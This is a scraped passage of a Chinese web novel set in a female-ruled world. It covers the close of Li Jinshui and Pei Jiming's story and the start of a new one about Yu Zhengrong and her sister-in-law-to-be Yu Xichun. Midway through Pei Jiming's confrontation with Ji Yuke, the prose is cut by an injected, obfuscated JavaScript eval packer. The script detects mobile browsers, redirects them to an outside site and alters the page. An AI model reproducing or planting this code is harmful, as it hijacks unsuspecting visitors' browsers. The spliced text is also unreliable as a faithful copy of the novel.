“你怎么会不好?”裴霁明皱眉否决她,攥紧李金水的手,他像是要把自己的力气也过渡到少女身上,凤眸熠熠,笃定地看着她说:“李金水,你有谋略,有胆识,更有世间难得的良善之心。我裴霁明从大富大贵到家破人亡,见惯了人中龙凤,也对峙过豺狼虎豹,可你不一样,李金水,你和他们都不一样。你是最珍贵的,莫说青州州丞,便是皇帝,我都.........” “打住打住!”李金水双颊闷红,捧着脸狐疑地盯着少年,撞了下他的肩膀,失笑地说:“越说越离谱了,霁明,我告诉你这些,只是想问,你要不要和我一起去青州?” 裴霁明愣住,面色冷淡看不出情绪,只有眼尾晕开殷红,只怕是有些伤心,于是李金水慌忙找补说不去也行,并非强求。但哪想他忽然就伸手捏住了少女的脸颊,不让她说话,又忿恨地盯着她,声音委屈,反问她:“如若我今夜不来找你和好?你还想丢下我和别人一起私奔去青州?李金水,你想带谁?是那个云浮厌吗?哼!” ------------------------------------- 开春天暖和之后,李金水便和裴霁明一起启程去青州赴任,只不过离开之前,她先将云浮厌送回了家乡。 离开春盈寨之前,云浮厌哭了,手腕和脚腕上被铁链锁着磨出的伤口已经痊愈,但留着狰狞的伤疤,他的心也一样,总是萦绕着一股寒气。 李金水问他要不要带上孩子,云浮厌泪眼婆娑,牵着她的衣袖问:“如若我不想要孩子,阿水可会觉得我心狠?” “这孩子是青云寨寨主强迫你所生,云浮厌,即便你怀着他的时候执意打掉,我也只会下山给你煎好堕胎药喂到嘴边,这是你的一辈子,你完全可以选择不要这个被禽兽强迫而来的证据。” 李金水安抚给他递上手帕,因为老柴她们和裴霁明都在后面看着,所以没有再给云浮厌擦眼泪,她牵着他的马下山,又安抚道:“不过你放心,孩子可以放在春盈寨养着,况且寨子在镇上建的有怜幼堂,有老柴她们罩着,不会饿死人的。” 马背上云浮厌沉默着没有回应,直到到了码头开船离开之前,他忽然回首,撞进李金水怀里,问她:“我看得出来你并没有要过裴公子,他仍是少年之身。阿水,既如此,如若你不嫌弃,以后可以娶我吗?” “我会听话,我只要陪.......” “船开了,云浮厌,忘掉这里的一切吧。” 李金水轻轻推开了他,含笑的眼睛里映着粼粼的波光,她遥遥地挥了下手,像是为云浮厌擦掉眼尾那颗摇摇欲坠的眼泪。 32. 强娶女主的清冷阴鸷正宫夫郎后(完) 青州地势复杂,民风彪悍。又恰逢京城大乱,各方势力争权夺势,所以刚赴任的时候,李金水还没走到州丞府,就先被一伙地痞流氓给惊了马车。而待她收拾完找茬的地头蛇,紧接着又是商户联合上表要免税,还有洹河的决堤,淹没农田,饥荒肆虐.......面对一整个烂摊子,李金水急得嘴里燎了好几个水泡,披星戴月地领着手下勘测农田,考察水利,而回城还要听一群老狐狸商户打擂台。那段日子她累得骑着马都能睡着,裴霁明也着急,索性不顾劝阻,戴了顶帷幕就出堂替李金水处理城内文书税收之事。 李金水知晓裴霁明的本事,也没有反对,只不过留了心腹在府内保护裴霁明的安全。她本以为商户要磨上一阵,但哪想裴公子三言两语就将他们套路进去,不仅狗咬狗,还纷纷向官府投诚。很快城内安定,府衙的仓库也丰盈一些之后,裴霁明又披星戴月地陪着李金水绘制地图、兴修水利,因为经常要上山爬坡,所以文弱的小公子脚底经常会磨出水泡,挤破了之后洇出血水疼得走不动路。李金水便背着裴霁明,背后是绚烂燃烧的晚霞,她背着他一步步稳稳地朝山下走,倦鸟归林,池鱼故渊。 裴霁明蹭着李金水的耳朵,他们都晒黑了一些,穿着干活的布衣,像一对年轻的山野妻夫,有着花好月圆的一辈子去走。 “今晚回家给你包荠菜饺子吧。”少年搂紧了她的脖子,笑着说。 年轻的州丞点头,又撒娇似的要求:“还要炸小黄鱼,你昨天答应我的。” “贪吃鬼,哼,答应你。” 李金水上任的第二年,青州百废俱兴,田亩水利,通商外交,均逐渐发展起来。北方夺位也进入决胜阶段,李金水暗中关注姬御珂,发现她确实有几分天运在身上,每每能在绝境化险为夷,并且不仅当朝皇子甘愿为她做宫中内应,不少权贵甚至外邦使臣都被她俘获芳心,多方势力加持之下,姬御珂一个冷门王室的霸业徐徐展开。 只不过,李金水能看出这个天道之女内在薄弱,既无武义,也没谋略,若非是气运加身,只怕连和其他王储角逐的资格都没有。 她依旧保持和姬御珂密切通信,虽心底存疑,但也不愿冒险,所以按照计划屯粮屯器械,一直等待着姬御珂的指令。尤其临近年关,北方局势恶化,许多难民南下,有逃到青州的,李金水派人集中管理安置,暂时出现没有太大的乱子,但她的心依旧惴惴不安,尤其五年之期临近,她愈发不知道该怎么面对裴霁明了。 从青涯书院到京城裴氏,又从京城裴氏到春盈寨,最后从春盈寨到青州,两人相伴数年,他们既是对方亲密的伙伴,也是永远的后盾。李金水总是想,即便做不成真正的妻夫,她也希望他好,希望他们都能得偿所愿。 年关将至,老柴她们来青州团聚,裴霁明也很高兴,留在府里特意做了一桌饭菜招待。晚上陆续有百姓到州丞府给李金水送鸡鸭鹅蛋,还有乡民陪了一下午山路,只为给她送只大鹅.......李金水牵着裴霁明收下了她们的心意,而闭府之前,又有大叔怀里抱着个女娃娃,将一对胖乎乎的金女玉童送给裴霁明,大叔神神秘秘地笑,女娃娃只直接乐呵呵地指着裴霁明的肚子说了出来:“哥哥、肚子、怀孩子......” 裴霁明的脸顿时羞的通红,李金水则哈哈大笑起来,塞了把酥糖给小姑娘,转身扯着脸冒热气的裴霁明回府。 席上李金水见裴霁明一直心不在焉,以为他介意下午的事情,便偷偷在桌子下面拍了拍少年的手背,安抚他道:“青州男子爽朗彪悍,有些话说的冒犯,你别介意。” “李金水,你.......你想要孩子吗?”裴霁明侧身,膝盖抵在她膝盖之间,面颊晕开薄红,凤眼里水湛湛一片,殷切地看着她问:“我是说,是我们两个的孩子,有你的眼睛,和我的嘴巴的那种孩子,就我们两个,我们彼此揉成一个,永远也分不开的结晶,你想.......” 高谈雄辩的裴公子此刻说话颠三倒四,李金水静静地望着他,眼里淌过烛光,或许还有湿润的遗憾,她没有开口,外面的护卫却闯进来,跪在地上打断了裴霁明的话。 “报告大人,外面来了一个身受重伤的女子,自报是京城信友,要您救她一命。” 姬御珂的刀伤看起来严重,但避开了心脉,并不致病。李金水很聪明没有去问她为何沦落到青州,将人妥善安置好,听着姬御珂半睡半醒之间吐露的呓语,她窥探到一个天下将明、改革图兴的时代。 于是李金水摁下对她的所有怀疑,尽心尽力为她囤积兵草,至于内院,李金水则特意安排裴霁明侍奉汤药,毕竟他们注定要在一起,再怎么阻拦也不过是跳梁小丑,索性放手。 年关过去,李金水早出晚归,即便在府上,也是陪着姬御珂说话,很少和裴霁明单独相处,有时候被他拦住,也很快就有手下看眼色上前谎称情报引李金水离开。 裴霁明的情绪愈发恶劣,连带着身体都虚弱得遭逢了一场风寒,夜间发热,他昏迷间,恍若看到李金水正抱着他,像那年裴家出事的时候一样,蹙眉担忧地一点点拢干净他颊边被汗黏湿的碎发。 于是毫无征兆地,裴霁明哭了,滚烫的眼泪一大颗一大颗地砸下来,声音嘶哑,凤眼通红,死死攥住李金水的手腕,恨不得嵌进她的血肉,裴霁明战栗地质问她:“李金水,你、你和那姬御珂,你们是不是有奸情?!” “果然.......呜呜呜呜,果然李金水,”她被惊得都不知道怎么回答了,但裴霁明也不需要回答,自顾自地在她怀里哭着继续说:“你就是喜欢女人!当初我是你的裴姐姐,你对我痴缠撒娇,可是自从知道我是个男人之后,你便对我冷淡许多,也不曾再主动搂我的腰,抱我的脖子,也不喜欢腻到我怀里撒娇了........呜呜呜呜果然,你为什么要喜欢女人啊?李金水,如果我继续为你装成女人,你会不会就愿意重新喜欢我了?” 目光痴痴地看着李金水,裴霁明整个人像从水中捞出一样,滚烫潮湿,带着清淤催熟的香甜。 李金水的心脏跳得整个胸腔生疼,她怎么可能不想要裴霁明呢?那是少女十六岁时就认定要喜欢的美人,是相互扶持相生相伴的爱人,他们曾经亲密无间,见证彼此的成长。而如今,天道却告诉他们,你们注定殊途难归? 怎么能不遗憾呢?她曾经为了他亲手打了一支富贵华丽的烧蓝祥云金步摇,而他执笔的手为她生了厚厚的茧子........ 怎么能不遗憾呢?李金水没有答案,捂住了裴霁明的眼睛,轻轻抱着他等到安神剂发作,夜雪落满窗台,她将放夫书压在裴霁明枕下。 【我喜欢你啊,喜欢裴霁明,喜欢你好看有学问,吃得少话也少,身上香香的骂起人来凶凶的........】 李金水又想起十六岁的傍晚,于是笑了,眼睫扇落泪水,她想,裴霁明也是个笨蛋,明明她回答了,她早就回答了。 屋外一程风雪,此夜,青州守城的士兵打盹,恍惚间,只见红色的斗篷似火一般燎向大雪深处。 ------------------------------------- 系统提醒姬御珂主线人物偏离剧情的时候,她还并不在意。因为之前也有一些“鱼”出现细微偏差,但往往她只要稍微将注意力放在他们身上,这些女尊国的男人们就会很快倒贴求爱。 攻略女尊国的男人太简单了,姬御珂一直觉得,只要嘴上轻飘飘的几句尊重就能换来他们的死心塌地,尤其在女尊国遍地霸道大女子主义的衬托下,她这种柔弱温柔的风格很容易吸引上位的强势男子。 因为当她想起裴霁明,这个在剧情后期至关重要的智囊人物,也是她未来后宫当中唯一一个嫁过人的男子,心气高傲,但又因为曾被春盈寨寨主强娶而在感情中极度自卑,不仅对姬御珂的求娶感激涕零,还因为她对他谋略能力的肯定而情深不渝,可谓是姬御珂最趁手的一件工具。 在原本的剧情中,春盈寨寨主李金水武力彪悍,痴恋裴霁明,但不得美人芳心。所以当姬御珂招安李金水之后,她被派去炽翎国和外邦谈判,以通商互市和边塞十一部落为条件,调兵协助姬御珂抢夺王位。 而在李金水滞留炽翎的一年当中,裴霁明被托付给姬御珂,两人在相处当中暗生情愫,原本裴霁明还顾忌着自己为人夫的身份不敢表白,直到前线传来李金水因为不满炽翎狮子大开口,在边境同她们起了冲突,寡不敌众,被生擒折磨至死。 裴霁明和姬御珂两人得闻噩耗,先是为李金水立了个衣冠冢,而后却在她新丧不到一年,就互通心意结成妻夫。 提前预知了人物结局,所以姬御珂派李金水率兵暗中前往炽翎之后,就心满意足地躺在了州丞府内,等着裴霁明来伺候自己。 但可惜,李金水已经离开三四日,只听见前院声嘶力竭的质问和兵戈相碰的声音,府里乱成一团,都说州丞夫郎得了失心疯,看管不住要提刀追去边塞杀了李金水。 姬御珂心道奇怪,原剧情当中裴霁明也没有这么恨李金水呀,止不住咂舌,她竟然有些为李金水鸣不平,毕竟这些年两人通信,她还挺喜欢这个爽朗仗义的女子,更何况,虽是李金水强娶在先,但对裴霁明也是尊敬尊爱,何曾委屈了他,如今这男人听到李金水奔赴边塞,居然要提刀追去杀人? 虽然腹排,但毕竟裴霁明是她的后宫之一,日后也对她死心塌地的,所以作为既得利益者,姬御珂在半夜见到裴霁明提着剑披头散发来到自己屋内之后,还是扬起了苍白温柔的笑,问他:“裴公子?深夜到访所为何事?” 裴霁明当真是个美人,姬御珂在灯下端望他,虽然状若疯癫,但眉眼冷艳,提刀而来的动作竟是优雅矜贵。行至床畔,寒光闪过姬御珂的双眸,耳畔是布帛撕裂的声音,剑刃插在了自己枕边。 这一刻姬御珂心跳如鼓,她又恨自己的柔弱了,因为看着眼前疯狂狠厉的美人,她根本没有把握能打赢他。 “是你派妻主去边塞求助炽翎援军?!” 裴霁明声音冰冷,目光一寸寸刮过姬御珂,他将剑刃贴在女人颊边,看着她惊惧的眼神,讽刺地笑了笑:“像你这样虚伪、狡诈又滥情的女人,凭什么都能掌握大权?姬御珂,你想过吗?若你失去女子这个身份,你又算什么东西?” “我、我至少知道尊重男子,我会为你们男子遭受的不公发一声叹,这周遭的女子,都是霸道强势的性子,哪会像我一样对你们这样温柔啊?霁明,我会欣赏你的,你......” “哈哈哈哈哈哈蠢货啊蠢货!”剑刃割破姬御珂的耳朵,裴霁明像天大的笑话一样,讥笑着怒骂她:“京城那些男人信你这套说辞,是因为他们身居内院,从未见识过真正的天地,所以蠢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14125219|149889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到没有长半个脑子在身上!可我裴霁明见识过太多豺狼虎豹了,也见识这世间最明亮的真心。所以,省省吧。” 他长叹一口气,慢条斯理地在姬御珂身上一刀一刀地划,边划边将她的虚伪抽皮剥筋。 “你说你为天下男子发一声叹,却将同情尊重作为猎艳的武器。” “至于你将妻主派去炽翎,不过是让她送死。姬御珂,你吃定她的赤诚之心,所以以百姓为筹谋,逼她替你卖命。你明明知道炽翎不会轻易放过凤麟内乱,在这关头去谈判,必然会被炽翎敲诈勒索,而按照妻主的性子,她即便是凭着战死他乡,也不会答应以百姓与领土为代价的援兵条约!” “你!姬御珂!心肠歹毒、残害忠良!你该死!” 剑刃离姬御珂的心口一寸之隔,她拼命地抓住了,惊恐地望着裴霁明,涕泗横流地求饶:“我知道李金水到炽翎的具体时间和地点,还有会让她丧命的宴会!!别杀我!!!!” 灯花爆裂,一室寒光。 ------------------------------------- 李金水没想到自己有一天会死在异国。 她也没想到自己死之前竟然不能看到州丞府她和裴霁明打理的菜园子郁郁葱葱的景色。 到炽翎谈判的半个月,她时刻提醒自己忍气吞声,但在这次炽翎王储的宴席上,看到她们沾酒顺便圈出边关十一部落,轻浮地笑着让她割爱。她喃喃着克制,但拳头却疯狂地砸到炽翎王储脸上。 她掐着王储的脖子,身后带刀的侍卫和凤麟的使团打了起来,在后背即将中箭的那一刻,寒光滑过眼睛,她想了很多,最后却定格在除夕那夜裴霁明问她想不想他们的孩子那一幕,摇曳的烛光融化了少年眼里的冰霜,他那样的期待,她却没有给他一个答应。 李金水有些想哭,她想写信告诉裴霁明——想的,我想,裴霁明,你别笑我,其实十六岁刚知道你是男子的那晚,我喝醉了迷迷糊糊地想到了我们孩子的名字,李满满。 没有引经据典的寓意,裴霁明,我只是想,如若上天眷顾,牵你慢慢走完漫漫一生,多好呀。 可叹。 箭矢被横插而来的一道刀光砍断,李金水迷迷糊糊好像听见了她娘的声音,难不成是回光返照。但容不得她胡思乱想,帐内又闯进来一批凤麟的将士,而被拥簇中间提剑一路杀过来的竟然是她以为此生再也见不到的爱人。 裴霁明反手将剑插入准备朝李金水放冷箭的刺客胸膛,而后利落地拔出来,侧脸溅上一串血珠,冷艳的眉眼生生逼出暴虐的美丽来。他俯身怜爱地摸着李金水的脸颊,睫羽颤了颤,泪珠掉落的瞬间诡艳地笑起来。 “来的路上,我想,如若这次赶不上,我就陪你一起死在异国他乡,绝不让你抛弃我自个逍遥去。但还好,李金水......”裴霁明将沾血的刀柄塞到李金水手里,颤抖地拿出怀里那封放夫书,薄薄的信纸上沾过泪水,也溅过血,皱巴巴的。他终于等到在李金水面前一把将这张纸撕碎,畅意地看着她,裴霁明倾身抵住剑尖,扣住了她的后颈,这一次死而无憾。 “妻主,若执意和离,便杀了我吧,从此以你的亡夫之名长眠。” “裴霁明,”李金水的脸上被他蹭上了血,此刻他们是如此般配的一双人,她搂住了他,泪湿的脸颊贴在一起,利剑落在脚边,李金水第一次生出无限的勇气,用他给的勇气,牵着手,反抗所谓的天道。她吻掉他的眼泪,给他回答:“要个孩子吧,只属于我们的孩子。” “好,好,给你生,阿水,我给你生好多好多孩子,你永远不要再抛弃我.......” 泪水冲淡了裴霁明脸上的血渍,仿若厉鬼重回人间,十七岁裴家灭门时不曾哭出来的少年,这次终于在爱人的怀里哽咽嚎啕。 一生风雪,终有止息。 【后记】 李金水没想到能在炽翎碰到她那没谱的亲娘和亲爹,也没想到她爹真的是炽翎传闻那个权势遮天又急流勇退的神秘长皇子。 但她和裴霁明确实安安稳稳地住进了炽翎贵族的大宅子,因为他们身上都有伤而且需要修养,所以就啃了半年老,直到裴霁明感觉不舒服,被查出来怀孕三个多月,李金水才意识到时光不等人,答应带裴霁明走遍山河的承诺还没实现呢。 李百花有些担心,因为李金水和裴霁明假死的消息虽然传到了凤麟,但若是京城那些亲王有心勘察,只怕也能窥见蛛丝马迹。 “无妨,”裴霁明握住李金水的手,靠在她怀里小心地护住小腹,看着岳母镇定地说:“且不说京城里那群人狗咬狗注意不到这边,便是她们知道妻主和我活着,也只会想招安,但到时候,留还是去,究竟看我们自己选择。” “也是,人立于天地之间,岂能处处受限。”长皇子掀帘进来,走到李百花身侧坐下,安抚地揉了揉她的后颈,而后又笑吟吟地看着裴霁明,提醒道:“只不过生下孩子后,记得看紧些,仔细某天醒来,妻女尽散,一别就是十年呢。” 李金水毫不留情地笑出声,但腰侧被掐了一下,裴霁明锢着她的胳膊,冷冷地笑着应道:“是啊,也说不定,哪天一醒来,大活人没了,就扔给你一封狗屁放夫书。” 这次李金水和李百花都不呲着大牙笑了,谁承想啊,就干一件蠢事但要被人唠一辈子了! 33. 和病美人长嫂作对的第十年(一) 感情淡漠回避依恋胎穿活死人女主×美强惨霜杏阴湿病娇男主 *郁峥嵘知道哥哥名义上的“童养媳”玉溪春不喜欢自己,但这位嫂嫂生得霞姿月貌,实在美丽。她便对他敬而远之,默默观赏。可玉溪春却依旧总是说郁峥嵘欺负他.......郁峥嵘找借口让他搬离自己的院子的时候,病美人嫂嫂会强撑身子,咳出眼泪质问就这么不愿意见到他吗?在郁峥嵘跟着老爹照看商铺不常回家时,病美人嫂嫂会带着饭盒,当着众人的面将她抱到怀里,蕴着哭腔问:“小妹不回家,是不想看到我吗?” 后来郁峥嵘陪暗恋他哥的女扮男装的伙计喝酒,醉醺醺地还未回府,就被满面阴郁的玉溪春抱进怀里,一路走回他们的院子。那晚烛光晃晃,冰肌玉骨的病美人嫂嫂,解开衣衫,捧着郁峥嵘陀红的脸颊,温柔又病态地哀求她:“郁峥嵘,你到底喜欢男人还是女人,我可以变成你喜欢的任何人,求求你........你要爱我........” 郁峥嵘醉了,但郁峥嵘眼没花,病美人的眼泪烫得她想逃,但她分明能看清,他背后那只手攥着的——是暗红色的蛊虫和锋利的刀。 郁峥嵘×玉溪春 ------------------------------------- 四月初十,郁府锦缎红绸,喜迎新娘。 这是郁峥嵘来到大渊朝的第十九年,也是阳城里抛头露面的“老姑娘”。说来郁峥嵘对老姑娘这个绰号倒没太大反应,毕竟上一世她确实活了二十多年,再加上这一世的十九年,她觉得自己芯子里全然就是个迟暮沉沉的老太太。 作为郁长荣的胞妹,郁峥嵘和锋芒毕露热心快肠的哥哥完全不同,郁长荣出身商贾却向往江湖,从十岁开始就经常离家出走,结交好友,呼朋引伴,最后一番机遇造化,竟然还真让他结识了落难的十四皇子,从亲卫一路提拔到策羽将,还真算得上光宗耀祖了。 不过也因为郁长荣不愿继承家里的香料产业,郁峥嵘只能被赶鸭子上架,被郁老爹当做继承人锻炼培养。郁峥嵘也没有反感,记账调制香料管理店铺.......对她来说都比待在后宅等着嫁给别人更好。 玉溪春,一个让郁峥嵘这种淡人都无比头疼的破小孩。十岁时玉溪春半夜从后门被郁老爹裹在披风里,血淋淋地抱到了郁峥嵘的床上。那夜郁峥嵘虽然被吓到,但听见老爹提起,这孩子是望峡山庄的少庄主,老庄主在郁老爹微末之时曾出手救过他一命。如今望峡山庄被叛徒陷害,满门被屠,只剩下玉溪春被老庄主拼死保住,护送到郁老爹设在望峡山的钱庄。恩人临终托孤,郁老爹自然不能拒绝。 但是如今江湖上各方势力还在虎视眈眈,传说望峡山庄后人能习得炼心术,可以锻造傀儡阴兵为己所用,也能炼蛊控制人心。传言虽然未被证实,但玉溪春望峡山庄后人的身份,就足够在江湖上掀起一阵腥风血雨了。 不过这些当然和郁峥嵘没什么关系,她不太关心玉溪春能不能活下来,被老爹叮嘱要将他藏在自己闺房,并且在玉溪春养好病之前,她需要照常起居,不可让外人看出端倪。所以在玉溪春昏迷的一个月里,郁峥嵘每天和一个半死人睡在一起,前几天还会被他身上的血腥味和药味熏得睡不着,后来反而习惯了,郁峥嵘偶尔起夜,还能发现昏迷的玉溪春用手指用力攥着她的袖口,似乎在害怕着什么,口中喃喃叫着别走。 彼时郁峥嵘还有心疼这个孩子,所以夜间玉溪春又发梦魇,郁峥嵘也会半搂半抱地,将昏迷的小孩拥在怀里,轻轻拍着他的后背,声音平淡地给他念《金刚经》,往往读到“如是灭度无量无数无边众生。实无众生得灭度者。何以故。须菩提。若菩萨有我相。人相。众生相。寿者相。即非菩萨.......”怀里的玉溪春便渐渐安静下来,郁峥嵘并不信佛,所以声音单板得几乎没有起伏。但偶尔清醒的瞬间,玉溪春仍旧会挣扎着掀开眼睫,怔怔地望着朦胧光线中郁峥嵘的侧脸。他抬手摸她眉心的痣,声音都发颤,问她:“你是观音......能.......能救救我吗?” 玉溪春昏迷那段时间,应该是郁峥嵘最喜欢他的阶段,毕竟此子貌美,长发披散,能占半张床铺。而且病中本就带着易碎感,偶尔玉溪春被药呛到,水蒙潮湿的眼瞳里沁出一丝可怜的苦楚,简直看得郁峥嵘想要将他抱到怀里给捏爆。但可惜了,后来玉溪春清醒过来,便没有郁峥嵘的好日子过了。养病期间郁老爹大张旗鼓地将玉溪春又从正门抬进了郁府,对外头只说是在行商路上捡到的姑娘,瞧着模样好便买回来给郁长荣当童养媳。 对此郁长荣很是不满,嚷嚷着童养媳的名头岂不让外人误会他是个病秧子。但此时玉溪春从长廊外刚掀帘迈入内厅,珍珠帘拨开露出一张仙姿玉貌的美人面,厅外还刚好吹来一阵茉莉花的香风。郁长荣红着脸又坐了回去,低头灌了一口凉茶没再说话。而郁峥嵘捧着冰碗坐在最末端,瞥了眼玉溪春,倒是发现他今日穿的这身衣裙,应该是从她衣柜里拿的。 玉溪春也抬眼看她,而后温顺地福身朝着郁老爹和郁夫人行礼,两位长辈体谅他大病初愈,连忙将他扶起,只说委屈了玉溪春,又牵着她坐到小女儿身旁,笑眯眯道:“一家人何须说两家话,以后溪春你就是我们的亲女儿,阿嵘有的,定不会短了你。” 郁峥嵘端坐着瞧他们亲热,困倦之中倒是品出几分荒谬,江湖上关于望峡山庄后人的消息向来真真假假众说纷纭,甚至于连玉溪春是男是女,都有人各执一词。如今将他借着童养媳的名头接到府里,也算是考虑周到了。只不过,这玉溪春若是真成了郁府的儿媳妇,也不知道日后会不会引来什么祸端,说不定下一个满门被灭的就是今日的郁家了。 不过这些对郁峥嵘一个游魂来说,意义都不大。她原本上一世就是活够了自己找死,如今再次为人,郁峥嵘依旧融入不了这个世界。甚至于周身的一切人和物对她来说,都像是某种沉浸式的影带,她只是一个看客,还是不解风情会在高潮片段睡着的看客。 玉溪春被安排在了郁峥嵘的别院,郁老爹只说两个小姑娘相互作伴,彼此也不寂寞。但实际是郁峥嵘白日里不是睡觉便是看话本听曲种花,而玉溪春则躲在屋子里不怎么露面,两人只有晚膳时才会结伴去主厅。夏日的晚霞浓烈,长廊外是一丛一丛的丁香花。郁峥嵘走得慢,落后几步,玉溪春便站在丁香花丛旁,侧身安静地等着她。秾艳的霞光和摇曳的丁香花丛中间,如霜似雪地立着一个病美人。郁峥嵘刚睡醒的脑子又像吹进一股清凉的晚风,微微睁大眼睛,走到玉溪春身旁时,才没头没尾来了一句:“你应该拿一把油纸伞,那样就能变成丁香姑娘了。” 玉溪春撑着眼平静地看着她,今日他穿了一身蝶戏水仙裙衫,倒是郁夫人安排绣娘新给他添置的。原本郁峥嵘的衣裙也被他拿走好几身,只不过他们谁都没提这件事,倒也不在乎还不还的问题。 “小妹只怕是睡觉睡糊涂了吧,又开始胡言乱语了。”玉溪春的声音清凌凌的,说话时难总有几分冷漠。这幅样子是郁家其他人不曾见过的,郁峥嵘偶尔也怀疑玉溪春是不是讨厌自己,但想来想去,他便是讨厌自己又有什么关系呢?秉持着绝不内耗的原则,郁峥嵘对待玉溪春倒是一如往常,并不过分热络,也不针对他就是了。 “你直接叫我郁峥嵘,别喊小妹,我听着起鸡皮疙瘩。”郁峥嵘搓了搓胳膊,刚好廊下吹来一阵晚风,玉溪春的纱衣拂过她的脸,扑面而来的丁香花的香气中掺杂了一丝檀香,她止不住打了个喷嚏,后退几步给玉溪春道歉:“对不起对不起啊,我好像有点闻不得檀香,你又整天在屋子里烧香拜佛,我还是离你远些,在后面跟着你走吧。” 玉溪春屋子里供了几尊她叫不来名字的佛像,平日里静坐沉思,看书念经,小小年纪活像是个青灯古佛的尼姑。郁峥嵘不喜欢进到玉溪春的屋子,但郁夫人请了教习他们女工的女师傅,体谅着玉溪春的身子弱,便将教习地点直接设在他的屋子里。 郁峥嵘闻着檀香虽然难受,但和刺绣相比,这点难受还真无不足道了。尤其是和玉溪春这种卷王一起学习,一幅绣品,等待玉溪春精雕细琢地绣完,旁边的郁峥嵘口水都淌到织布上了。所以郁峥嵘免不得挨罚,渐渐地她学会装病偷懒,窝在床上咳得撕心裂肺,还故意将扎伤的手指露给郁夫人。果然无奈之下,郁夫人应允了她不用再上刺绣课。只不过当时郁夫人刚应完,跟在她身后的玉溪春便坐到郁峥嵘床边,雪白沁凉的手指搭在她来不及收回的腕上,玉溪春垂着眼睛,眼波漾了漾竟然晕开一抹笑。他在郁峥嵘惊恐的注视中起身,朝着郁夫人轻笑道:“小妹确实有些风寒,可能是夜里睡觉又蹬被子了吧。还好,溪春还以为是小妹讨厌我,不愿和我一起上课呢。” “这话说的,阿嵘是最和善不过的孩子了,你又冰雪聪明,姑嫂之间哪里有那些嫌隙.......”郁夫人拍着玉溪春的手安慰,而正在喝水压惊的郁峥嵘听见这句姑嫂,惊得直接将水喷了出去,玉溪春衣袖上被溅了几滴,但回头睨向咳得满脸通红的郁峥嵘,他反而将自己怀里的帕子递过去,安抚道:“慢些喝,小妹,虽然你还不适应,但日后我们到底还是要做一家人的,你多适应些时日就好了。” 好阴湿一小孩啊。郁峥嵘听出玉溪春话里话外的讥讽,抬眼迷惑地看了看他,而后小心折好他的帕子还回去,自己用被子擦了擦脸,倒回床上面对着墙说:“阿娘,我困了要睡了,你们都出去吧。” “这孩子,一天天怎么就睡不够呢。”郁夫人一边叹气一边牵着玉溪春往外走,而到了门口,关门前他却站定,朝着床上装死躺尸的郁峥嵘笑了一下,说:“下次小妹不想上课,可以来找我扎一针的,很快就能晕过去噢。” 饭桌上一般是没人说话的,偶尔郁长荣会和妹妹聊起几句书院的八卦,虽然郁峥嵘对什么态度都是淡淡的,但至少会回应他几句。故而郁长荣坚定地认为自家妹妹就是最可爱的妹妹,至于外人说什么郁二小姐性子古怪为人沉闷,统统都是胡吣! 玉溪春也是食不言寝不语,加上病弱总有许多忌口的,所以饭菜能吃得也少。相比之下,坐下他旁边,将脸就差埋进碗里的郁峥嵘更显得几分不羁和野蛮。郁夫人不满地敲了敲桌子,训斥她说:“平日里坐没坐相站没站相,吃饭也如此没规矩,往后还怎么嫁人啊?” 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关于郁长荣和玉溪春这对未婚夫妻的感情进度,郁峥嵘很少过问,也懒得了解。反而是她身边的玲珑时常关切,总会给她讲今日玉小姐去给大少爷送了字帖,明个玉小姐又亲自做个糕点送到大少爷的书房......郁峥嵘是懒,但也不傻,知道玲珑是喜欢郁长荣,但到底只是小儿女情思,再如何喜欢也就只能止步于默默关注。她一点也不担心玲珑会陷害玉溪春,反而是有些担心玉溪春看出玲珑暗恋郁长荣,会反过来针对她一个小丫鬟。 说到底郁峥嵘看他们就像是看青春期早恋的小屁孩们,而玉溪春应该就是那个原生家庭不幸福导致性格扭曲阴暗的问题学生.......但郁峥嵘才不愿意当他们的教导主任呢,爱怎么拉扯暧昧都是他们的事情,郁峥嵘只想好好睡觉。 大抵是因为她原是一抹游魂,胎生到这个异世界,仍透露着几分早衰之相。所以郁峥嵘时常精力不济,一整日的时间,大半都睡了过去。偶尔醒着也显得呆滞木板,对周遭人事都漠不关心,甚至有些冷淡。 但同住一个院子,玉溪春倒是相反....... 每日卯时,玉溪春就已经起床洗漱,练字刺绣,甚至于连妆面服饰都会精心搭配。早膳需得一家子一起用,所以每每被玲珑从床上拽起来,郁峥嵘都会处于神游的状态,随便捞起头发用簪子松松垮垮地盘着,而后套上宽大的衣衫,推门时走过游廊刚巧碰见面容精致的玉溪春,这才站定,被眼前这孩子美得有几分清明了。 天生爱豆圣体啊。郁峥嵘环胸靠着廊柱,不自觉打了个哈欠,刚喝过浓茶,舌尖还残留几分苦涩。她看出玉溪春身上那件外衫好似她前几日穿过的,微挑了下眉,却什么也没说,只懒散地笑着接过漂亮孩子递过来的手帕,上头还绣着他替她绣的作业——是一梗双花可开足二十瓣的绿云。据说绿云是极难养的一品兰花,仅产自醉天山幽谷深处。玉溪春替装病的郁峥嵘绣帕子那晚,和她宿在一处。吹灯睡觉前,这孩子抱着枕头,忽然讲起来他父母相识的经历。 在玉溪春口中,他母亲邵兰是惠州阳下镇的一个小寡妇,被叔伯侵夺家产后逃到醉天山,本来以为走投无路只能喂身给野狼了。却不曾想在醉天山遇到了他父亲玉枕逢。玉枕逢本是进山给酷爱兰花的老母亲寻找一株绿云。结果刚巧在山崖边救下耳畔别着兰花,想要自裁的邵兰。将她救下后,两人暗生情愫,这才缔结了一段良缘。 玉溪春的声音没有起伏,故事也平淡。郁峥嵘睡意朦胧,窗外尖啸的夜风拍打着屋檐,她闭着眼伸手攥住一把身侧之人的乌发,摸了两下后,敷衍地笑了声安抚这孩子:“这下好了,往后我再瞧见绿云,只怕脑子里只能想到一个插着兰花的江南小寡妇。” 